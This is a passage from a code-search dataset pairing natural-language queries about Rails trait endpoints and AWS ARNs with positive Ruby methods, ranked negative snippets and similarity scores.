"0.68704563",
"0.6776259",
"0.67748487",
"0.67352796",
"0.67024595",
"0.6699119",
"0.66936755",
"0.66870826",
"0.6683316",
"0.6644918",
"0.66356987",
"0.6633423",
"0.661848",
"0.6616056",
"0.6610372",
"0.65160036",
"0.6496501",
"0.6479771",
"0.6468485",
"0.6442681",
"0.6375508",
"0.6353342",
"0.63458645",
"0.63358974",
"0.6326831",
"0.6323605",
"0.63173294",
"0.6315387",
"0.6312573",
"0.6307631",
"0.63037276",
"0.6291253",
"0.628814",
"0.62807757",
"0.62802064",
"0.6270525",
"0.6244171",
"0.6241406",
"0.6236604",
"0.6232989",
"0.6231339",
"0.6228562",
"0.62216204",
"0.62162334",
"0.6199083",
"0.6198797",
"0.61851215",
"0.6181432",
"0.6168061",
"0.6167816",
"0.61615336",
"0.61518764",
"0.613488",
"0.61182827",
"0.6109579",
"0.61069083",
"0.60907304",
"0.60884154",
"0.60656464",
"0.6061382",
"0.6052665",
"0.6052353",
"0.60497224",
"0.60098207",
"0.60015184",
"0.59759897",
"0.59686744",
"0.59579164",
"0.59350747",
"0.5932861",
"0.59051925",
"0.5895035",
"0.5889215",
"0.58819103",
"0.5872536",
"0.5849654",
"0.58344746",
"0.58305097",
"0.582648",
"0.5807939",
"0.58056265",
"0.580126",
"0.5800642",
"0.5789358",
"0.5783416",
"0.5781046",
"0.57746345",
"0.57694036",
"0.5760627",
"0.5724815",
"0.5702525",
"0.56807286",
"0.5667132"
] |
0.0
|
-1
|
GET /traits/:id GET /traits/:id.json
|
def show
@trait = api_resource.find(params[:id],
:root => :trait
)
@items = Vger::Resources::Mrf::Item.where(query_options: {
trait_type: "Mrf::Trait",
trait_id: @trait.id
}).all.to_a
respond_to do |format|
format.html # new.html.erb
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n render json: @trait_type\n end",
"def index\n @traits = Trait.all\n end",
"def show\n @trait = Trait.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @trait }\n end\n end",
"def set_trait\n @trait = Trait.find(params[:id])\n end",
"def set_trait\n @trait = Trait.find(params[:id])\n end",
"def show\n @covariate = Covariate.find(params[:id])\n\n if @covariate.trait.nil?\n flash[:error] = 'This covariate is not associated with a trait! Consider removing it.'\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @covariate }\n format.csv { render :csv => @covariate }\n format.json { render :json => @covariate }\n end\n end",
"def index\n @trait_types = TraitType.all\n\n render json: @trait_types\n end",
"def set_trait_type\n @trait_type = TraitType.find(params[:id])\n end",
"def show\n @character_trait = CharacterTrait.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @character_trait }\n end\n end",
"def update\n @trait_type = TraitType.find(params[:id])\n\n if @trait_type.update(trait_type_params)\n head :no_content\n else\n render json: @trait_type.errors, status: :unprocessable_entity\n end\n end",
"def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end",
"def show\n @isadmin = is_admin_user?\n unless @isadmin\n redirect_to \"/\" and return\n end\n @intern = Intern.find(params[:id])\n @photo = @intern.assets.order('created_at desc').last\n #Build @traits string with true traits\n @traits = \"\"\n if @intern.modest_trait\n @traits=\"Modest,\"\n end\n if @intern.mature_trait\n @traits+=\" Mature,\"\n end\n if @intern.kind_trait\n @traits+=\" Kind,\"\n end\n if @intern.abrasive_trait\n @traits+=\" Abrasive,\"\n end\n if @intern.organized_trait\n @traits+=\" Organized,\"\n end\n if @intern.quiet_trait\n @traits+=\" Quiet,\"\n end\n if @intern.moody_trait\n @traits+=\" Moody,\"\n end\n if @intern.teachable_trait\n @traits+=\" Teachable,\"\n end\n if @intern.self_motivated_trait\n @traits+=\" Self-motivated,\"\n end\n if @intern.genuine_trait\n @traits+=\" Genuine,\"\n end\n if @intern.detail_oriented_trait\n @traits+=\" Detail-oriented,\"\n end\n if @intern.loving_trait\n @traits+=\" Loving,\"\n end\n if @intern.sarcastic_trait\n @traits+=\" Sarcastic,\"\n end\n if @intern.selfish_trait\n @traits+=\" Selfish,\"\n end\n if @intern.trustworthy_trait\n @traits+=\" Trustworthy,\"\n end\n if @intern.tactful_trait\n @traits+=\" Tactful,\"\n end\n if @intern.compassionate_trait\n @traits+=\" Compassionate,\"\n end\n if @intern.hard_working_trait\n @traits+=\" Hard-Working,\"\n end\n if @intern.adaptive_trait\n @traits+=\" Adaptive,\"\n end\n if @intern.lazy_trait\n @traits+=\" Lazy,\"\n end\n if @intern.punctual_trait\n @traits+=\" Punctual,\"\n end\n if @intern.sensitive_trait\n @traits+=\" Sensitive,\"\n end\n if @intern.socially_awkward_trait\n @traits+=\" Socially awkward,\"\n end\n if @intern.considerate_trait\n @traits+=\" Considerate,\"\n end\n if @intern.motivated_trait\n @traits+=\" Motivated,\"\n end\n if @intern.impulsive_trait\n @traits+=\" Impulsive,\"\n end\n if @intern.relaxed_trait\n @traits+=\" Relaxed,\"\n end\n if @intern.friendly_trait\n @traits+=\" Friendly,\"\n end\n if @intern.determined_trait\n @traits+=\" Determined,\"\n end\n if @intern.leader_trait\n @traits+=\" Leader,\"\n end\n @traits = @traits.chop\n @traits == \"\" ? \"No seld-selected traits\" : @traits\n\n respond_to do |format|\n format.html # show.html.erb\n format.csv #show.csv.erb\n format.json { render json: @intern }\n end\n end",
"def index\n @traits = Trait.all\n @trait_action_object_hash = Trait.action_object_hash\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traits }\n end\n end",
"def refresh_traits\n response = Tiptaplab.api.make_call(\"users/#{@ttl_id}/traits\")\n @traits = response\n end",
"def find id\n result = perform_request api_url \"champions/#{id}\"\n DynamicModel.new result\n end",
"def find(id)\n response = RestClient.get(\"#{@type.Resource}/#{id}\")\n @type.from_json response['data']\n end",
"def traits\n @traits || refresh_traits\n end",
"def show\n @heat_type = HeatType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @heat_type }\n end\n end",
"def new\n @covariate = Covariate.new\n\n if !params[:trait_id].nil?\n @covariate.trait = Trait.find(params[:trait_id]) \n @trait = [@covariate.trait]\n else\n @trait = nil\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @covariate }\n format.csv { render :csv => @covariate }\n format.json { render :json => @covariate }\n end\n end",
"def traits(traits, options={})\n firehose_request([{\n type: 'traits',\n body: traits\n }], options)\n end",
"def index\n @trait_types = TraitType.all\n end",
"def set_traitclass\n @traitclass = Traitclass.find(params[:id])\n end",
"def destroy\n @trait = Trait.find(params[:id])\n @trait.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_traits_url) }\n format.xml { head :ok }\n end\n end",
"def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end",
"def index\n @co_independent_traits = CoIndependentTrait.all\n end",
"def specialization_info(id)\n get_response(\"/v2/specializations#{Utils.format_id(id)}\")\n end",
"def show\n @my_studio_portrait = MyStudio::Portrait.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_studio_portrait }\n end\n end",
"def show\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @realty_type }\n end\n end",
"def show\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitty }\n end\n end",
"def show\n @medium_mission_strategy = MediumMissionStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medium_mission_strategy }\n end\n end",
"def show\n @talent = Talent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @talent }\n end\n end",
"def show\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def show\n @itype = Itype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itype }\n end\n end",
"def show\n @contacter = Contacter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contacter }\n end\n end",
"def hero(id)\n get(\"/hero/#{id}\")\n end",
"def show\n @story = Story.all(:include => :role, :conditions => {:stories => { :id => params[:id] } })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end",
"def show\n @talktype = Talktype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @talktype }\n end\n end",
"def show\n render status: 200, json: UserTrainingStory.find(params[:id])\n end",
"def show\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_type }\n end\n end",
"def show\n @concept = Concept.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concept }\n end\n end",
"def show\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ctype }\n end\n end",
"def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end",
"def show\n @girltype = Girltype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @girltype }\n end\n end",
"def index\n @portraits = Portrait.all\n end",
"def show\n @talk_type = TalkType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @talk_type }\n end\n end",
"def show\n @species = Specie.find(params[:id])\n\n @pets = Pet.where(:specie_id => @species).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:secie => @species, :pets => @pets } }\n end\n end",
"def show\n @actor = Actor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actor }\n end\n end",
"def show\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @specie }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio }\n end\n end",
"def show\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lector }\n end\n end",
"def update\n @trait = Trait.find(params[:id])\n\n respond_to do |format|\n if @trait.update_attributes(params[:trait])\n format.html { redirect_to([:scaffold, @trait], :notice => 'Trait was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trait.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @trait.destroy\n respond_to do |format|\n format.html { redirect_to traits_url, notice: \"Trait was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def show\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @act_type }\n end\n end",
"def show\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @mission }\n end\n end",
"def update\n respond_to do |format|\n if @trait.update(trait_params)\n format.html { redirect_to @trait, notice: \"Trait was successfully updated.\" }\n format.json { render :show, status: :ok, location: @trait }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @trait.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tutors_by_specialization\n @faculty = Faculty.find_by_short_name(params[:id])\n @specializations = @faculty.specializations\n end",
"def show\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mission }\n end\n end",
"def show\n @court = Court.friendly.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @criterion }\n end\n end",
"def show\n @court_type = CourtType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court_type }\n end\n end",
"def ability(id)\n get(\"/ability/#{id}\")\n end",
"def show\n @achievement_category = AchievementCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @achievement_category }\n end\n end",
"def show\n @interview = Interview.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interview }\n end\n end",
"def show\n @tablet = Tablet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tablet }\n end\n end",
"def show\n @icome = Icome.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @icome }\n end\n end",
"def show\n @jetty = Jetty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jetty }\n end\n end",
"def show\n id = params[:id]\n\n raise \"must specify id parameter\" unless !id.nil?\n \n @teacher = Teacher.find(id)\n respond_with(@teacher)\n end",
"def show\n @talent = Talent.find(params[:id])\n end",
"def index\n @facts = fact_type.all\n @title = fact_type\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facts }\n end\n end",
"def index\n respond_with FactType.all\n end",
"def show\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territorio }\n end\n end",
"def show\n @reflection = Reflection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reflection }\n end\n end",
"def show\n @turno = Turno.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @turno }\n end\n end",
"def show\n @through_table = ThroughTable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @through_table }\n end\n end",
"def show\n @weapons_type = WeaponsType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weapons_type }\n end\n end",
"def show\n @toy_act = ToyAct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @toy_act }\n end\n end",
"def show\n @attraction = Attraction.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @attraction }\n end\n end",
"def traits_from_sites\n @sites = Site.where(\"id in (?)\",Trait.select(:site_id).where(\"site_id is not null\").collect(&:site_id).uniq)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n @horace = Horace.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @horace }\n end\n end",
"def find(id:)\n request.get(\"#{teamsites_url}/#{id}\")\n end",
"def show\n @factoid = Factoid.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factoid }\n end\n end",
"def create\n @trait = Trait.new(trait_params)\n\n respond_to do |format|\n if @trait.save\n format.html { redirect_to @trait, notice: \"Trait was successfully created.\" }\n format.json { render :show, status: :created, location: @trait }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @trait.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @metric_type = MetricType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metric_type }\n end\n end",
"def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end",
"def get_resource(id, type)\n\t\t@client.method(type).call.get(id)\n\tend",
"def show\n @attri = Attri.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attri }\n end\n end",
"def show\n @skill = Skill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @skill }\n end\n end",
"def find id\n DynamicModel.new perform_request api_url \"summoners/#{id}\"\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def show\n respond_with(@coaches = Coach.find(params[:id]))\n end",
"def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def show\n @scenario = Scenario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scenario }\n end\n end",
"def show\n @talk_category = TalkCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @talk_category }\n end\n end",
"def show\n @lab_teach_resource = LabTeachResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_teach_resource }\n end\n end",
"def show\n @dash_type = DashType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dash_type }\n end\n end",
"def route\n hitch = Hitch.find(params[:hitch_id])\n render json: hitch.geojson\n end",
"def show\n story = Story.find(params[:id])\n render json: story\n end",
"def edit\n render json: UserTrainingStory.find(params[:id])\n end",
"def show\n @cue = Cue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cue }\n end\n end"
] |
[
"0.68932074",
"0.67570806",
"0.6550297",
"0.6501676",
"0.6501676",
"0.64433414",
"0.6343675",
"0.6204353",
"0.6138971",
"0.6011674",
"0.5945116",
"0.5899775",
"0.5888561",
"0.5876859",
"0.58590496",
"0.585418",
"0.58434135",
"0.58269906",
"0.5798926",
"0.5795788",
"0.57936275",
"0.5758915",
"0.57352513",
"0.57315713",
"0.5706514",
"0.5691117",
"0.5656212",
"0.56524694",
"0.5651387",
"0.56290865",
"0.56192386",
"0.56143975",
"0.558955",
"0.5585951",
"0.5584189",
"0.5572471",
"0.55710834",
"0.55640656",
"0.55616814",
"0.55368096",
"0.55354846",
"0.5528724",
"0.55209297",
"0.55058706",
"0.5504044",
"0.54966307",
"0.5479625",
"0.5479274",
"0.5478415",
"0.54773116",
"0.5469955",
"0.54555106",
"0.5452609",
"0.5445813",
"0.54453516",
"0.54426074",
"0.5437543",
"0.54347754",
"0.5430343",
"0.5422849",
"0.5422281",
"0.5417498",
"0.5413621",
"0.54133713",
"0.5405846",
"0.5395609",
"0.5388126",
"0.5379072",
"0.5378167",
"0.53768194",
"0.5373264",
"0.5371997",
"0.5362739",
"0.53552496",
"0.53546",
"0.53542536",
"0.5347599",
"0.5345399",
"0.53409857",
"0.53409755",
"0.53350246",
"0.5333483",
"0.5333027",
"0.5331052",
"0.5330686",
"0.5322475",
"0.53179634",
"0.5309215",
"0.53009605",
"0.53009605",
"0.5300215",
"0.53002024",
"0.53001004",
"0.52996176",
"0.52979267",
"0.5295094",
"0.52896297",
"0.52893484",
"0.5285908",
"0.52855444"
] |
0.6345522
|
6
|
Canonical Amazon Resource Number for this resource
|
def arn
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def amazon_resource_id\n return @amazon_resource_id\n end",
"def physical_resource_id\n \"#{self.class.name.split('::').last}-#{Carnivore.uuid}\"\n end",
"def resource_id\n @arn\n end",
"def amazon_resource_id=(value)\n @amazon_resource_id = value\n end",
"def resource_id\n return \"%s:%s\" % [self.resource_type, self.id]\n end",
"def cannonical_uri_string\n @cannonical_uri_string ||= if resource_collection_uri?\n \"#{@string}/#{UUID.generate}\"\n elsif resource_uri?\n @string\n else\n raise CloudKit::InvalidURIFormat\n end\n end",
"def identity_resource_identifier\n return @identity_resource_identifier\n end",
"def resource_id\n return @resource_id\n end",
"def resource_id\n return @resource_id\n end",
"def resource_id\n return @resource_id\n end",
"def bare_identifier\n resource.identifier_str.gsub(/^doi:/, '')\n end",
"def canonical_id\n @canonical_id ||= crate.resolve_id(id)\n end",
"def resource_id\n send self.class.resource_id\n end",
"def arn\n cloud_desc.arn\n end",
"def arn\n cloud_desc.arn\n end",
"def derive_resource_code\n resource_string = self.region_code.to_s + self.name.to_s\n deterministic_hash(resource_string)\n end",
"def canonical_transcription # returns single transcription as ResourceIdentifier\n\t\t\tmanifestation = canonical_manifestation\n\t\t\tunless manifestation == nil\n\t\t\t\treturn manifestation.resource.canonical_transcription\n\t\t\tend\n\t\tend",
"def resource_id\n\t\t\t\t\treturn self.send(self.class.resource_id_column)\n\t\t\t\tend",
"def arn\n cloud_desc ? cloud_desc.arn : nil\n end",
"def rid\n begin\n \"#{@metadata[:cluster]}:#{@metadata[:record]}\"\n rescue\n \"0:0\"\n end\n end",
"def resource_id(res)\n if res.is_a?(String)\n return res.split(/\\//).last.to_i\n else\n return res.href.split(/\\//).last.to_i\n end\n end",
"def arn\n data.arn\n end",
"def arn\n data.arn\n end",
"def identifier\n rdf_resource\n end",
"def resource_owner_id\n request.headers[\"Resource-Owner-Id\"]\n end",
"def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end",
"def resource_id(prefix)\n if default_config?\n [prefix, project, node_type, node_name]\n else\n [prefix, project, configuration, node_type, node_name]\n end.compact.join(\"_\").tr(\"-\", '_').tr(\"/\", \"_\")\n end",
"def enhanced_monitoring_resource_arn\n data[:enhanced_monitoring_resource_arn]\n end",
"def resource_id=(value)\n @resource_id = value\n end",
"def resource_id=(value)\n @resource_id = value\n end",
"def resource_id=(value)\n @resource_id = value\n end",
"def identifier\n @record.uri.to_s\n end",
"def resource identifier\n Resource.new(Conjur::Authz::API.host, credentials)[self.class.parse_resource_id(identifier).join('/')]\n end",
"def id\n new_resource.bucket_name || new_resource.name\n end",
"def resource_name\n return @resource_name\n end",
"def resource_name\n return @resource_name\n end",
"def resource_name\n return @resource_name\n end",
"def resource_uri\n \"#{resource_name}/#{uid}\"\n end",
"def resolve_canonical_id(xri)\n return xri if AtLinksafe::Iname.is_inumber?(xri)\n AtLinksafe::Resolver::Resolve.new(xri).canonical_id\n end",
"def identity_resource_identifier=(value)\n @identity_resource_identifier = value\n end",
"def name\n record.resource_id\n end",
"def account_number\n return @account_number if @account_number\n\n begin\n my_arn = AWS::IAM.new(\n :access_key_id => @access_key_id,\n :secret_access_key => @secret_access_key).client.get_user()[:user][:arn]\n rescue AWS::IAM::Errors::AccessDenied => e\n my_arn = e.message.split[1]\n end\n\n @account_number = my_arn.split(':')[4]\n end",
"def arn\n cloud_desc.auto_scaling_group_arn\n end",
"def amazon_account_id\n return @amazon_account_id\n end",
"def unique_id(slug)\n Zlib.crc32 slug\n end",
"def hyphenated_name\n resource_name.ns_hyphenate\n end",
"def prefixed_id\n \"p-#{resource.id}\"\n end",
"def serial_number\n return @serial_number\n end",
"def canonical_uri; end",
"def resource_name\n resource_class.resource_name\n end",
"def id\n \"p-#{resource.id}\"\n end",
"def resource_name\n resource_specification.name\n end",
"def resource_reference\n return @resource_reference\n end",
"def db_cluster_resource_id\n data[:db_cluster_resource_id]\n end",
"def resource_name\n @resource_name ||= get_resource_name\n end",
"def unique_id\n object_id.abs.to_s(16)\n end",
"def arn\n if @config['flavor'] == \"EKS\"\n cloud_desc.arn\n else\n cloud_desc.cluster_arn\n end\n end",
"def rid\n \"rId#{ndx + 1}\"\n end",
"def identifier\n @identifier ||= \"#{ATTRIBUTE_PREFIX}.#{Model::to_id @schema_ref}.#{Model::to_id @reference}\"\n end",
"def ensure_identifier\n # ensure an existing identifier is reserved (if needed for EZID)\n return resource.identifier.to_s if resource&.identifier&.identifier.present?\n\n resource.ensure_identifier(mint_id)\n end",
"def serialnumber\r\n\r\n @@serial +=1 ;\r\n \r\n id = request.object_id.to_i;\r\n if(id < 0 )\r\n \r\n id *= -1;\r\n end\r\n \r\n id %= 103; # mod by prime to keep the digits down.\r\n \r\n return(\"o\"+id.to_s+\"s\"+@@serial.to_s)\r\n \r\n end",
"def resource_name\n resource[:name].gsub(/\\s/, '_').downcase.singularize\n end",
"def root_resource_name\n components.keys.first.to_s\n end",
"def rdf_seek_id\n rdf_resource.to_s\n end",
"def parent_resource_name(params)\n parent_resource_param(params).to_s.gsub(/\\_id/, '').pluralize\n end",
"def node_id\n jid.resource\n end",
"def qualified_resource_name\n @qualified_resource_name ||=\n begin\n @resource_class.name.split('::').map do |str|\n tools.string.underscore(str)\n end.join('-')\n end # name\n end",
"def arn\n \"arn:\"+(MU::Cloud::AWS.isGovCloud?(@region) ? \"aws-us-gov\" : \"aws\")+\":elasticache:\"+@region+\":\"+MU::Cloud::AWS.credToAcct(@credentials)+\":cluster/\"+@cloud_id\n end",
"def obj_id\n uri.split('/').last\n end",
"def obj_id\n uri.split('/').last\n end",
"def resource_name\n @resource_name ||= self.class.to_s.underscore.gsub(%r{.*/([^/]+)\\z}, '\\1')\n end",
"def south_african_id_number; end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def external_id\n return @external_id\n end",
"def id\n object.external_id\n end",
"def external_id; end",
"def representative_id\n solr_document.representative_id\n end",
"def arn\n desc = cloud_desc\n if desc[\"role\"]\n desc[\"role\"].arn\n else\n nil\n end\n end",
"def provider_resource_id\n return @provider_resource_id\n end",
"def arn\n cloud_desc.role_arn\n end",
"def rel_canonical_href_page_number(records)\n @rel_canonical_href_page_number ||= records.is_a?(WillPaginate::Collection) && records.current_page > 1 ?\n records.current_page : nil\n end",
"def resourceVersion\n nil\n end",
"def eol_pk\n \"R#{resource_id}-PK#{id}\"\n end",
"def resource_name\n @resource_name ||= model_name.element.pluralize\n end",
"def resource_name\n \"#{self.class.to_s.split(\"::\").last.downcase}s\"\n end",
"def polish_taxpayer_identification_number; end",
"def resource_app_id\n return @resource_app_id\n end",
"def cert_serial_number(domain_name)\n Digest::MD5.hexdigest(\"#{domain_name} -- #{Time.now}\").to_i(16)\n end",
"def cert_serial_number(domain_name)\n Digest::MD5.hexdigest(\"#{domain_name} -- #{Time.now}\").to_i(16)\n end",
"def reference_number_prefix\n nil\n end",
"def resource_link\n return @resource_link\n end",
"def arn\n \"arn:\"+(MU::Cloud::AWS.isGovCloud?(@region) ? \"aws-us-gov\" : \"aws\")+\":ec2:\"+@region+\":\"+MU::Cloud::AWS.credToAcct(@credentials)+\":instance/\"+@cloud_id\n end",
"def resource_name\n resource.name.singularize.underscore\n end",
"def persistent_resource_id(resource)\n # FIXME: this contains some duplication of Seek::Rdf::RdfGeneration#rdf_resource - however not every model includes that Module at this time.\n # ... its also a bit messy handling the version\n url = if resource.is_a_version?\n polymorphic_url(resource.parent, version: resource.version, **Seek::Config.site_url_options)\n else\n polymorphic_url(resource, **Seek::Config.site_url_options)\n end\n\n content_tag :p, class: :id do\n content_tag(:strong) do\n t('seek_id') + ':'\n end + ' ' + link_to(url, url)\n end\n end",
"def arn\n cloud_desc.function_arn\n end",
"def object_id() end",
"def get_identifier\n return @task_arn\n end",
"def slug\n [self.endpoint.resource.name, self.nickname].join(\"_\")\n end",
"def persistent_resource_id(resource)\n url = polymorphic_url(resource)\n content_tag :p, class: :id do\n content_tag(:strong) do\n \"#{Seek::Config.application_name} ID: \"\n end + ' ' + link_to(url, url)\n end\n end"
] |
[
"0.72549725",
"0.7089714",
"0.6907937",
"0.6620241",
"0.64311254",
"0.6381002",
"0.6380002",
"0.63775927",
"0.63775927",
"0.63775927",
"0.61853594",
"0.61557806",
"0.61386865",
"0.6121694",
"0.6121694",
"0.60676485",
"0.6032264",
"0.60119957",
"0.6003505",
"0.5999176",
"0.5978036",
"0.59535646",
"0.59535646",
"0.5911694",
"0.5874798",
"0.5848646",
"0.5848646",
"0.58175826",
"0.58153224",
"0.58153224",
"0.58153224",
"0.58005947",
"0.5786534",
"0.5765071",
"0.5762304",
"0.5762304",
"0.5762304",
"0.5743826",
"0.5743562",
"0.57284594",
"0.5723793",
"0.57166785",
"0.57061106",
"0.5701958",
"0.5686528",
"0.568517",
"0.56847346",
"0.56328446",
"0.56194997",
"0.56134635",
"0.5604841",
"0.5604795",
"0.56027865",
"0.56009537",
"0.5590187",
"0.5586657",
"0.5583824",
"0.5569905",
"0.55626786",
"0.5542183",
"0.5537748",
"0.5535041",
"0.54893035",
"0.54754996",
"0.54623616",
"0.54623383",
"0.5459504",
"0.5450338",
"0.54466665",
"0.54466665",
"0.5430263",
"0.5426683",
"0.54200494",
"0.54200494",
"0.54200494",
"0.54200494",
"0.5414738",
"0.54138786",
"0.54090863",
"0.54046875",
"0.5375436",
"0.5374499",
"0.5373575",
"0.5372269",
"0.5368828",
"0.5367926",
"0.5365029",
"0.536087",
"0.5360342",
"0.53559774",
"0.53559774",
"0.5334637",
"0.5334262",
"0.5327101",
"0.53247046",
"0.53232956",
"0.5318662",
"0.53159183",
"0.53083694",
"0.5296411",
"0.5296364"
] |
0.0
|
-1
|
Return the metadata for this log configuration
|
def notify
{
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def metadata\n if config.metadata.include?(:all)\n [:pid, :date, :time, :file]\n else\n config.metadata\n end\n end",
"def metadata\n if config.metadata.include?(:all)\n [:pid, :date, :time, :file]\n else\n config.metadata\n end\n end",
"def metadata\n configuration.metadata\n end",
"def metadata\n @metadata\n end",
"def metadata\n @data[:metadata]\n end",
"def metadata\n return @metadata\n end",
"def metadata\n return @metadata\n end",
"def metadata\n @metadata ||= {}\n end",
"def metadata\n self.class.metadata\n end",
"def metadata\n @meta_data\n end",
"def metadata\n attributes['metadata'] ||= {}\n attributes['metadata']\n end",
"def metadata\n self[:metadata] || {}\n end",
"def metadata\n hash.inject([]){ |list, data| list << MetaData.new(data[0], data[1][0]) }\n end",
"def metadata\n return @metadata unless @metadata.nil?\n @metadata = fetch_metadata\n configure_with_metadata(@metadata)\n @metadata\n end",
"def attributes\n @metadata\n end",
"def metadata\n @metadata ||= Metadata.new(self)\n end",
"def metadata\n value_of(:metadata, JSON.method(:pretty_generate), '{}')\n end",
"def metadata\n @metadata ||= {}\n end",
"def metadata\n get_ingest_run.metadata\n end",
"def notification_metadata\n data.notification_metadata\n end",
